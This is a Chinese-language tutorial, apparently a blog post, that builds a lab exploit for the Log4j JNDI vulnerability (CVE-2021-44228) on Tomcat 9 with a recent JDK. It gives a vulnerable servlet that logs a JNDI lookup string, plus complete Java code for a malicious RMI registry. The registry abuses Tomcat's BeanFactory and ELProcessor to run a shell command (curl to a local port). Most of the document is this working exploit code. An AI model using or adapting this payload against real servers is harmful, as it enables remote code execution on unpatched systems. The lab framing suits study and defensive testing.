在CVE-2021-44228 log4j2 RCE 分析中，我们实现了在Java 8u181中通过JNDI加载恶意类实现RCE，本文我们实现一个在trusted codebase限制下实现RCE的Exploit
搭建Tomcat脆弱环境
IDEA使用Web Profile配置创建Java EE项目，使用Tomcat 9.0.58进行学习，不同版本的Tomcat的内部不同，本文统一使用Tomcat 9，Java版本使用Java 8u292，在pom.xml中引入log4j-core 2.14.1的依赖
在自动创建的HelloServlet类中的doGet写入触发log4j漏洞的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| package com.example.Tomcat9Web;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
private String message;
private static final Logger logger = LogManager.getLogger();
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
logger.error("${jndi:rmi://127.0.0.1:1199/Exploit}");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}
|
制作Exploit
参考：如何绕过高版本JDK限制进行JNDI注入利用 (qq.com)
原理部分可以阅读参考的KINGX师傅的文章
将Tomcat的lib文件夹和bin/tomcat-juli.jar引入项目的libraries来消除依赖问题
代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;
public class Main {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1199);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "payload=eval"));
ref.add(new StringRefAddr("payload", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','curl 127.0.0.1:4444']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
|
运行Exploit和Tomcat项目并访问doGet方法触发log4j漏洞，就能成功执行命令